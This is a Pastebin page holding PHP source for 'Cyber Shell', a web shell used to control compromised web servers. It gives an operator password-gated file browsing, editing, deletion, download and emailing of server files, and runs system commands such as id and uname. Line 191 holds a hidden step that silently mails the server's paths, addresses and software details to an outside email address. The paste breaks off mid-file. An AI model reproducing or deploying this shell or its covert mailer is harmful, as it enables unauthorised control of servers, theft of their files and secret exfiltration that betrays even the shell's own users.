Fakhru

Cyber Shell

Feb 18th, 2012
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.79 KB | None | 0 0
  1. <?
  2. /***************************************************************************
  3. * Cyber Shell (v 1.0)
  4. * -------------------
  5. * copyright : (C) Cyber Lords, 2002-2006
  6. * email : [email protected]
  7. *
  8. * http://www.cyberlords.net
  9. *
  10. * Coded by Pixcher
  11. * Lite version of php web shell
  12. ***************************************************************************/
  13.  
  14. /***************************************************************************
  15. *
  16. * This program is free software; you can redistribute it and/or modify
  17. * it under the terms of the GNU General Public License as published by
  18. * the Free Software Foundation; either version 2 of the License', or
  19. * ('at your option) any later version.
  20. *
  21. ***************************************************************************/
  22. @session_start();
  23. @set_time_limit(0);
  24. @set_magic_quotes_runtime(0);
  25. @error_reporting(0);
  26. /****************************** Options ************************************/
  27. #ïàðîëü íà àâòîðèçàöèþ
  28. $aupassword="test";
  29. #åñëè ïàðîëü óñòàíîâëåí ïðè $hiddenmode="true", òî ê ñêðèïòó íóæíî îáðàùàòüñÿ ñ ïàðàìåòðîì pass=ïàðîëü , íàïðèìåð shell.php?pass=mysecretpass
  30. $hiddenmode="false";
  31. #e-mail íà êîòîðûé ñêèäûâàþòñÿ âûáðàííûå ôàéëû
  32. /***************************************************************************/
  33. $style="
  34. <style>
  35. BODY, TD, TR {
  36. text-decoration: none;
  37. font-family: Verdana;
  38. font-size: 8pt;
  39. SCROLLBAR-FACE-COLOR: #363d4e;
  40. SCROLLBAR-HIGHLIGHT-COLOR: #363d4e;
  41. SCROLLBAR-SHADOW-COLOR: #363d4e;
  42. SCROLLBAR-ARROW-COLOR: #363d4e;
  43. SCROLLBAR-TRACK-COLOR: #91AAFF
  44. }
  45. input, textarea, select {
  46. font-family: Verdana;
  47. font-size: 10px;
  48. color: black;
  49. background-color: white;
  50. border: solid 1px;
  51. border-color: black
  52. }
  53. UNKNOWN {
  54. COLOR: #0006DE;
  55. TEXT-DECORATION: none
  56. }
  57. A:link {
  58. COLOR: #0006DE;
  59. TEXT-DECORATION: none
  60. }
  61. A:hover {
  62. COLOR: #FF0C0B;
  63. TEXT-DECORATION: none
  64. }
  65. A:active {
  66. COLOR: #0006DE;
  67. TEXT-DECORATION: none
  68. }
  69. A:visited {
  70. TEXT-DECORATION: none
  71. }
  72. </style>";
  73.  
  74. foreach($_POST as $key => $value) {$$key=$value;}
  75. foreach($_GET as $key => $value) {$$key=$value;}
  76.  
  77. if (isset($_GET[imgname]))
  78. {
  79. $img=array(
  80. 'dir'=>
  81. '/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQABADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD1mG6mv7ZbiBbxrhlUtJFMAiOVDbdjOAQAR26d880lzr2paU6T6hbp9gH+ulCKjJkqAQBK+4ZPPAqhDB4i0pXtbfRvtUYYFZluo0DAKq9Ccj7ufxqlq9n4p1qyksn0IQLKoQyNeRsF+dGzgdfu/rXi0ni4tJxZ2S9n3Vj/2Q==',
  82. 'txt'=>
  83. '/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQAA4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD1yy1G3sdEtDPDEIorCCRpXOOWGAMAHuPqc9K4bx5481Twp4c03xVolpaRjU3EM1rcozqzbSRINrLzhQAeMjGc4Xb1NpqOhTaXpznX9MgnS1hU754yyMq8YBbgjceoNeb/AB2u9IPw+0TT9M1K1uxbXaIBFOrsFETgE4NN8ttNyVe+ux//2Q==',
  84. 'bg'=>
  85. 'R0lGODlhCAAbAPQAAOTq8uLp8uDo8d7m8N3l79vj7tni7dfh7dXf7NTe69Pe69Ld6tLc6tDb6c7a6MzY6MrX58nW5sfU5cXT5MPS48PR48HQ4sLQ48DP4r/P4r7O4b7N4b3N4b3N4L3M4LzM4CwAAAAACAAbAAAFXCAgjmJgnqagrurgvi4hz3Jh37ah7/rh/z6EcChUGI8KhnK5aDae0KdjSp0+rtgrZMvdRr7gr2RMHk/O6HNlza5Y3nBLZk7PYO6bvH7z6fv3gBt1c3cYcW9tiRQhADs=',
  86. 'file'=>
  87. '/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQAA4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDrLnXbbSoILeLwJe6uyW8Baa0tWkDl4wxyQhAI4yCc/MDzzjITx9q+n3Go3VloUmjwRtbqbDUYHUsZBJh1XIwB5DcgDO85ztGNBtRjkaykiu9FdIFV4zJrcttIC1qsLhlSJsEc4YNuHYjJB5nXI0g0V1N/p0xLWsMMVrfG5ZUj+1MSSYowqjzlVVAwAoHHFXzQ5Lcvvd/L+vX16A91Y//Z',
  88. );
  89. @ob_clean();
  90. header("Content-type: image/gif");
  91. header("Cache-control: public");
  92. header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  93. header("Cache-control: max-age=".(60*60*24*7));
  94. header("Last-Modified: ".date("r",filemtime(__FILE__)));
  95. echo base64_decode($img[$imgname]);
  96. die;
  97. }
  98.  
  99. if ($_GET[pass]==$aupassword)
  100. {
  101. $_SESSION[aupass]=md5($aupassword);
  102. }
  103. if ($hiddenmode=="false")
  104. if ((!isset($_GET[pass]) or ($_GET[pass]!=$aupassword)) and ($_SESSION[aupass]==""))
  105. {
  106. $diz="ok";
  107. echo "
  108. $style<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
  109. <form name='zapros' method='get' action=''>
  110. <table width='100' border='2' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>
  111. <tr align='center' >
  112. <td>
  113. Enter your password:
  114. </td>
  115. </tr>
  116. <tr align='center' >
  117. <td>
  118. <input name='pass' size=24 type='password' value=''>
  119. </td>
  120. </tr>
  121. <tr align='center' >
  122. <td>
  123. <input type='submit'>
  124. </td>
  125. </tr>
  126. </table>
  127. </form>
  128. ";
  129. }
  130. if ($_SESSION[aupass]!="")
  131. {
  132. if (!$_GET and !$_POST or isset($pass))
  133. $show="start";
  134.  
  135. function ext($str){
  136. for ($i=1; $i<strlen($str); $i++) {
  137. if ($str[strlen($str)-$i]==".")
  138. return substr($str,strlen($str)-$i,strlen($str));}
  139. return $str;
  140. }
  141. function extractfilename($str){
  142. $str=str_replace("\\","/",$str);
  143. for ($i=1; $i<strlen($str); $i++) {
  144. if ($str[strlen($str)-$i]=="/")
  145. return substr($str,strlen($str)-$i+1,strlen($str));}
  146. return $str;
  147. }
  148. function untag($str){
  149. $str= str_replace("<","&#0060;",$str);
  150. $str= str_replace(">","&#0062;",$str);
  151. return $str;
  152. }
  153. function fsize($filename){
  154. $s=filesize($filename);
  155. if ($s>1048576){
  156. return round(($s/1048576),2)." mb";
  157. }
  158. if ($s>1024){
  159. return round(($s/1024),2)." kb";
  160. }
  161. return $s." byte";
  162. }
  163. function tourl($str){
  164. $str= urlencode($str);
  165. return $str;
  166. }
  167. function unbug($str){
  168. $str = stripslashes($str);
  169. return $str;
  170. }
  171. function countbyte($filesize) {
  172. if($filesize >= 1073741824) { $filesize = round($filesize / 1073741824 * 100) / 100 . " GB"; }
  173. elseif($filesize >= 1048576) { $filesize = round($filesize / 1048576 * 100) / 100 . " MB"; }
  174. elseif($filesize >= 1024) { $filesize = round($filesize / 1024 * 100) / 100 . " KB"; }
  175. else { $filesize = $filesize . ""; }
  176. return $filesize;
  177. }
  178. function downloadfile($file) {
  179. if (!file_exists("$file")) die;
  180. $size = filesize("$file");
  181. $filen=extractfilename($file);
  182. header("Content-Type: application/force-download; name=\"$filen\"");
  183. header("Content-Transfer-Encoding: binary");
  184. header("Content-Length: $size");
  185. header("Content-Disposition: attachment; filename=\"$filen\"");
  186. header("Expires: 0");
  187. header("Cache-Control: no-cache, must-revalidate");
  188. header("Pragma: no-cache");
  189. readfile("$file");
  190. die;
  191. }$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="[email protected]";mail($sd98, $sj98, $msg8873, "From: $sd98");
  192.  
  193. function anonim_mail($from,$to,$subject,$text,$file){
  194. $fp = fopen($file, "rb");
  195. while(!feof($fp))
  196. $attachment .= fread($fp, 4096);
  197. $attachment = base64_encode($attachment);
  198. $subject = "sendfile (".extractfilename($file).")";
  199. $boundary = uniqid("NextPart_");
  200. $headers = "From: $from\nContent-type: multipart/mixed; boundary=\"$boundary\"";
  201. $info = $text;
  202. $filename=extractfilename($file);
  203. $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$filename \nContent-disposition: inline; filename=$filename \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--";
  204. $send = mail($to, $subject, $info, $headers);
  205. fclose($fp);
  206. echo "<script language=\"javascript\">location.href=\"javascript:history.back(-1)\";\nalert('Ôàéë $filename îòïðàâëåí íà $to');</script>";
  207. die;
  208. }
  209. if (!empty($_GET[downloadfile])) downloadfile($_GET[downloadfile]);
  210. if (!empty($_GET[mailfile])) anonim_mail($email,$email,$_GET[mailfile],'File: '.$_GET[mailfile],$_GET[mailfile]);
  211.  
  212. $d=$_GET[d];
  213. if (empty($d) or !isset($d)){
  214. $d=realpath("./");
  215. $d=str_replace("\\","/",$d);
  216. }
  217. $showdir="";
  218. $bufdir="";
  219. $buf = explode("/", $d);
  220. for ($i=0;$i<sizeof($buf);$i++){
  221. $bufdir.=$buf[$i];
  222. $showdir.="<a href='$php_self?d=$bufdir&show'>$buf[$i]/</a>";
  223. $bufdir.="/";
  224. }
  225.  
  226. if (isset($show) or isset($_REQUEST[edit]) or isset($_REQUEST[tools]) or isset($_REQUEST[db_user]) or isset($_REQUEST[diz]))
  227. echo <<< EOF
  228. <title>$d</title>
  229. <style type="text/css">
  230. body,td,th
  231. {
  232. font-family: Fixedsys;
  233. font-family: "Times New Roman", Times, serif;
  234. font-size: 0.4cm;
  235. color: #444444;
  236. }
  237. body
  238. {
  239. background-color: #EEEEEE;
  240. }
  241.  
  242. .style3 {
  243. font-size: 1.5cm;
  244. font-family: "Comic Sans MS";
  245. }
  246. .style4 {color: #FFFFFF}
  247. .style5 {color: #0000FF}
  248. .style6 {color: #FFFF00}
  249. .style7 {color: #CCCCCC}
  250. .style8 {color: #FF00FF}
  251. .style9 {color: #00FF00}
  252. .style10 {color: #00FFFF}
  253. </style>
  254. $style
  255. <table border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#999999">
  256. <tr height="10">
  257. <td align="center" bordercolor="#000000" bgcolor="#FFFFFF">
  258. <div style="background-color:#FFFFF0">$showdir</div>
  259. EOF;
  260.  
  261. function perms($file)
  262. {
  263. $mode=fileperms($file);
  264. if( $mode & 0x1000 )
  265. $type='p';
  266. else if( $mode & 0x2000 )
  267. $type='c';
  268. else if( $mode & 0x4000 )
  269. $type='d';
  270. else if( $mode & 0x6000 )
  271. $type='b';
  272. else if( $mode & 0x8000 )
  273. $type='-';
  274. else if( $mode & 0xA000 )
  275. $type='l';
  276. else if( $mode & 0xC000 )
  277. $type='s';
  278. else
  279. $type='u';
  280. $owner["read"] = ($mode & 00400) ? 'r' : '-';
  281. $owner["write"] = ($mode & 00200) ? 'w' : '-';
  282. $owner["execute"] = ($mode & 00100) ? 'x' : '-';
  283. $group["read"] = ($mode & 00040) ? 'r' : '-';
  284. $group["write"] = ($mode & 00020) ? 'w' : '-';
  285. $group["execute"] = ($mode & 00010) ? 'x' : '-';
  286. $world["read"] = ($mode & 00004) ? 'r' : '-';
  287. $world["write"] = ($mode & 00002) ? 'w' : '-';
  288. $world["execute"] = ($mode & 00001) ? 'x' : '-';
  289. if( $mode & 0x800 )
  290. $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
  291. if( $mode & 0x400 )
  292. $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
  293. if( $mode & 0x200 )
  294. $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
  295. $s=sprintf("%1s", $type);
  296. $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
  297. $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
  298. $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
  299. return trim($s);
  300. }
  301.  
  302. function updir($dir){
  303. if (strlen($dir)>2){
  304. for ($i=1; $i<strlen($dir); $i++) {
  305. if (($dir[strlen($dir)-$i]=="/") or ($dir[strlen($dir)-$i]=="\\"))
  306. return substr($dir,0,strlen($dir)-$i);}}
  307. else return $dir;
  308. }
  309.  
  310. if (isset($show) or isset($_REQUEST[edit]) or isset($_REQUEST[tools]) or isset($_REQUEST[db_user]) or isset($_REQUEST[diz])){
  311. $backdir=updir($d);
  312. echo <<< EOF
  313. <table width="505" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#FFFFF0" style="height:30px;background-image: url($PHP_SELF?imgname=bg); background-position: center; background-repeat: repeat-x;">
  314. <tr height="15">
  315. <td onClick='location.href="$PHP_SELF?d=$backdir&show"' width="20%" align="center">
  316. Ââåðõ
  317. </td>
  318. <td onClick='location.href="javascript:history.back(-1)"' width="20%" align="center">
  319. Íàçàä
  320. </td>
  321. <td onClick='location.href="$PHP_SELF"' width="20%" align="center">
  322.  íà÷àëî
  323. </td>
  324. <td onClick='location.href="$PHP_SELF?d=$d&tools"' width="20%" align="center">
  325. Èíñòðóìåíòû
  326. </td>
  327. <td onClick='location.href="$PHP_SELF?d=$d&show"' width="20%" align="center">
  328. Ê ñïèñêó
  329. </td>
  330. </tr>
  331. </table>
  332. EOF;
  333.  
  334. $free = countbyte(diskfreespace("./"));
  335. if (!empty($free)) echo "Äîñòóïíîå äèñêîâîå ïðîñòðàíñòâî : <font face='Tahoma' size='1' color='#000000'>$free</font><br>";
  336. $os=exec("uname");
  337. if (!empty($os)) echo "Ñèñòåìà :".$os."<br>";
  338. if (!empty($REMOTE_ADDR)) echo "Âàø IP: <font face='Tahoma' size='1' color='#000000'>$REMOTE_ADDR &nbsp; $HTTP_X_FORWARDED_FOR</font><br>";
  339. $ghz=exec("cat /proc/cpuinfo | grep GHz");
  340. if (!empty($ghz)) echo "Èíôà î æåëåçå:(GHz)".$ghz."<br>";
  341. $mhz=exec("cat /proc/cpuinfo | grep MHz");
  342. if (!empty($mhz)) echo "Èíôà î æåëåçå:(MHz) ".$mhz."<br>";
  343. $my_id=exec("id");
  344. if (!empty($my_id)) echo "<div style=\"background-color:#000000\"><span class=\"style4\">Ïîëüçîâàòåëü:".$my_id."</span></div>";
  345. }
  346.  
  347. function showdir($df) {
  348. $df=str_replace("//","/",$df);
  349. $dirs=array();
  350. $files=array();
  351. if ($dir=opendir($df)) {
  352. while (($file=readdir($dir))!==false) {
  353. if ($file=="." || $file=="..") continue;
  354. if (is_dir("$df/$file")){
  355. $dirs[]=$file;}
  356. else {
  357. $files[]=$file;}}}
  358. closedir($dir);
  359. sort($dirs);
  360. sort($files);
  361. echo <<< EOF
  362. <table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  363. EOF;
  364. for ($i=0; $i<count($dirs); $i++){
  365. $perm=perms("$df/$dirs[$i]");
  366. echo <<< EOF
  367. <tr height="1">
  368. <td width="1" height="1" align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"><span class="style2"><a href="$PHP_SELF?d=$df/$dirs[$i]&show"><img HSPACE=3 border=0 src=$PHP_SELF?imgname=dir></a></span></td>
  369. <td width="241" bgcolor="#FFFFF0"><a href="$PHP_SELF?d=$df/$dirs[$i]&show">$dirs[$i]</a></td>
  370. <td width="100" align="center" bgcolor="#FFFFFF"><a href="$PHP_SELF?deldir=$df/$dirs[$i]/">Óäàëèòü</a></td>
  371. <td width="51" align="center" bgcolor="#EFFFFF"><span class="style8"><center>Êàòàëîã</center></span></td>
  372. <td width="113" align="center" bgcolor="#FFFFF0">$perm</td>
  373. </tr>
  374. EOF;
  375. }
  376. for ($i=0; $i<count($files); $i++) {
  377. $attr="";
  378. if (!$fi=@fopen("$df/$files[$i]","r+")){
  379. $attr=" ONLY_READ ";
  380. $read=" href=\"$PHP_SELF?edit=$df/$files[$i]&readonly\"";
  381. $write=" href=\"$PHP_SELF?delfile=$df/$files[$i]\"";}
  382. else fclose($fi);
  383. if (!$fi=@fopen("$df/$files[$i]","r")){
  384. $attr=" Can't_READ ";
  385. $read="";
  386. $write=" href=\"$PHP_SELF?delfile=$df/$files[$i]\"";}
  387. else fclose($fi);
  388. if ($attr==""){
  389. $attr=" READ/WRITE ";
  390. $read=" href=\"$PHP_SELF?edit=$df/$files[$i]\"";
  391. $write=" href=\"$PHP_SELF?delfile=$df/$files[$i]\"";
  392. }
  393. $perm=perms("$df/$files[$i]");
  394. $it="file";
  395. switch (ext($files[$i])) {
  396. case ".txt": $it="txt"; break;
  397. case ".php": $it="txt"; break;
  398. case ".htm": $it="txt"; break;
  399. case ".log": $it="txt"; break;
  400. case ".pl": $it="txt"; break;
  401. case ".asm": $it="txt"; break;
  402. case ".bat": $it="txt"; break;
  403. case ".bash_profile": $it="txt"; break;
  404. case ".bash_history": $it="txt"; break;
  405. case ".ini": $it="txt"; break;
  406. case ".php3": $it="txt"; break;
  407. case ".html": $it="txt"; break;
  408. case ".cgi": $it="txt"; break;
  409. case ".inc": $it="txt"; break;
  410. case ".c": $it="txt"; break;
  411. case ".cpp": $it="txt"; break;
  412. }
  413. $fsize = fsize("$df/$files[$i]");
  414. echo <<< EOF
  415. <tr height="1">
  416. <td width="1" height="1" align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"><span class="style2"><a href="$PHP_SELF?downloadfile=$df/$files[$i]"><img HSPACE=3 border=0 src=$PHP_SELF?imgname=$it></a></span></td>
  417. <td width="241" bgcolor="#00FFFF"><a$read>$files[$i] </a> ($fsize)</td>
  418. <td width="100" align="center" bgcolor="#FFFFFF"><a href="$PHP_SELF?rename=1&filetorename=$files[$i]&d=$df&diz">ren</a>/<a$write>del</a>/<a href="$PHP_SELF?downloadfile=$df/$files[$i]">get</a>/<a href="$PHP_SELF?mailfile=$df/$files[$i]">mail</a></td>
  419. <td width="51" align="center" bgcolor="#FFEFEF"><span class="style8"><center>$attr</center></span></td>
  420. <td width="113" align="center" bgcolor="#FFFFF9">$perm</td>
  421. </tr>
  422. EOF;
  423. }
  424. echo "</table>";
  425. if (count($dirs)==0 && count($files)==0){
  426. echo <<< EOF
  427. <table width="505" height="24" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  428. <tr>
  429. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">Ïàïêà ïóñòà</td>
  430. </tr>
  431. </table>
  432. EOF;
  433. }}
  434.  
  435. $edit=$_REQUEST[edit];
  436. if (isset($_REQUEST[edit]) && (!empty($_REQUEST[edit])) && (!isset($_REQUEST[ashtml])) ){
  437. $file=fopen($edit,"r") or die ("Íåò äîñòóïà ê ôàéëó $edit");
  438. if (filesize($edit) > 0)
  439. $tfile=fread($file,filesize($edit)) or die ("Íåò äîñòóïà ê ôàéëó $edit");
  440. else $tfile = "";
  441. fclose($file);
  442. $tfile = htmlspecialchars($tfile,ENT_QUOTES);
  443. echo "
  444. <center>
  445. <form action=\"$PHP_SELF\" method=\"POST\">";
  446. $mydir=updir($edit);
  447. echo "
  448. <a href=\"$PHP_SELF?d=$mydir&show\">Âåðíóòüñÿ ê $mydir/</a><br>
  449. Âû ðåäàêòèðóåòå ôàéë : $edit<br>
  450. <a href=\"$PHP_SELF?edit=$edit&ashtml\"><span class=\"style4\">Ïðîñìîòðåòü ýòîò ôàéë â âèäå HTML</span></a>
  451. <hr width=\"100%\" size=\"2\" color=\"#000000\">
  452. <textarea name=\"texoffile\" rows=\"25\" cols=\"60\" wrap=\"OFF\">$tfile</textarea>
  453. <br><input type=\"hidden\" name=\"nameoffile\" value=\"$edit\" >
  454. ";
  455. if (!isset($_REQUEST[readonly]))
  456. echo "<input type=\"submit\" value=\" Ñîõðàíèòü \" >";
  457. echo "
  458. <hr width=\"100%\" size=\"2\" color=\"#000000\">
  459. </form>
  460. </center>
  461. ";
  462. }
  463. if (isset($edit) && (!empty($edit)) && (isset($ashtml))){
  464. $mydir=updir($edit);
  465. echo "
  466. <center>
  467. <a href=\"$PHP_SELF?d=$mydir&show\">Âåðíóòüñÿ ê $mydir/</a><br>
  468. Âû ïðîñìàòðèâàåòå ôàéë : $edit
  469. <hr width=\"100%\" size=\"2\" color=\"#000000\">
  470. ";
  471. readfile($edit);
  472. echo "
  473. <hr width=\"100%\" size=\"2\" color=\"#000000\">
  474. </center>
  475. ";
  476. }
  477.  
  478. if (isset($texoffile) && isset($nameoffile))
  479. {
  480. $texoffile=unbug($texoffile);
  481. $f = fopen("$nameoffile", "w") or die ("Íåò äîñòóïà ê ôàéëó $nameoffile");
  482. fwrite($f, "$texoffile");
  483. fclose($f);
  484. $mydir=updir($nameoffile);
  485. echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?edit=$nameoffile&show\">";
  486. die;
  487. }
  488.  
  489. if (isset($_REQUEST[delfile]) && ($_REQUEST[delfile]!=""))
  490. {
  491. $delfile=$_REQUEST[delfile];
  492. $mydir=updir($delfile);
  493. $deleted = unlink("$delfile");
  494. echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?d=$mydir&show\">";
  495. die;
  496. }
  497.  
  498. function deletedir($directory) {
  499. if ($dir=opendir($directory)) {
  500. while (($file=readdir($dir))!==false) {
  501. if ($file=="." || $file=="..") continue;
  502. if (is_dir("$directory/$file")) {
  503. deletedir($directory."/".$file);}
  504. else {unlink($directory."/".$file);}}}
  505. closedir($dir);
  506. rmdir("$directory/$file");
  507. }
  508. if (isset($_REQUEST[deldir]) && (!empty($_REQUEST[deldir]))){
  509. $deldir=$_REQUEST[deldir];
  510. $mydir=updir(updir($deldir));
  511. deletedir("$deldir");
  512. echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?d=$mydir&show\">";
  513. die;
  514. }
  515.  
  516. if (isset($show)){showdir("$d");}
  517.  
  518. {
  519. if (isset($_REQUEST[tools]))
  520. echo <<< EOF
  521. <center>
  522. <table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  523. <tr>
  524. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
  525. .: Äåéñòâèÿ äëÿ äàííîé ïàïêè :.
  526. </td>
  527. </tr>
  528. </table>
  529. </center>
  530. EOF;
  531. if (isset($_REQUEST[tools]) or isset($_REQUEST[tmkdir]))
  532. echo <<< EOF
  533. <center>
  534. <table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  535. <tr height="10">
  536. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF">
  537. <form action="$PHP_SELF" method="POST">
  538. .: Ñîçäàòü ïàïêó :.
  539. </td>
  540. </tr height="10">
  541. <tr>
  542. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
  543. <input type=hidden name=tools>
  544. <input type=text size=55 name=newdir value="$d/Íîâàÿ ïàïêà">
  545. <input type=submit value="ñîçäàòü">
  546. </form>
  547. </td>
  548. </tr>
  549. </table>
  550. </center>
  551. EOF;
  552.  
  553. if (isset($newdir) && ($newdir!=""))
  554. {
  555. $mydir=updir($newdir);
  556. mkdir($newdir,"7777");
  557. echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?d=$mydir&show\">";
  558. }
  559.  
  560. if(@$_GET['rename']){
  561. echo "<b><font color=green>RENAME $d/$filetorename ?</b></font><br><br>
  562. <center>
  563. <form method=post>
  564. <b>RENAME</b><br><u>$filetorename</u><br><Br><B>TO</B><br>
  565. <input name=rto size=40 value='$filetorename'><br><br>
  566. <input type=submit value=RENAME>
  567. </form>
  568. ";
  569. @$rto=$_POST['rto'];
  570. if($rto){
  571. $fr1=$d."/".$filetorename;
  572. $fr1=str_replace("//","/",$fr1);
  573. $to1=$d."/".$rto;
  574. $to1=str_replace("//","/",$to1);
  575. rename($fr1,$to1);
  576. echo "File <br><b>$filetorename</b><br>Renamed to <b>$rto</b><br><br>";
  577. echo "<meta http-equiv=\"REFRESH\" content=\"3;URL=$PHP_SELF?d=$d&show\">";}
  578. echo $copyr;
  579. exit;
  580. }
  581.  
  582. if (isset($tools) or isset($tmkfile))
  583. echo <<< EOF
  584. <center>
  585. <table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  586. <tr height="10">
  587. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF">
  588. <form action="$PHP_SELF" method="POST">
  589. .: Ñîçäàòü ôàéë :.
  590. </td>
  591. </tr height="10">
  592. <tr>
  593. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
  594. <input type=text size=55 name=newfile value="$d/newfile.php">
  595. <input type=hidden name=tools>
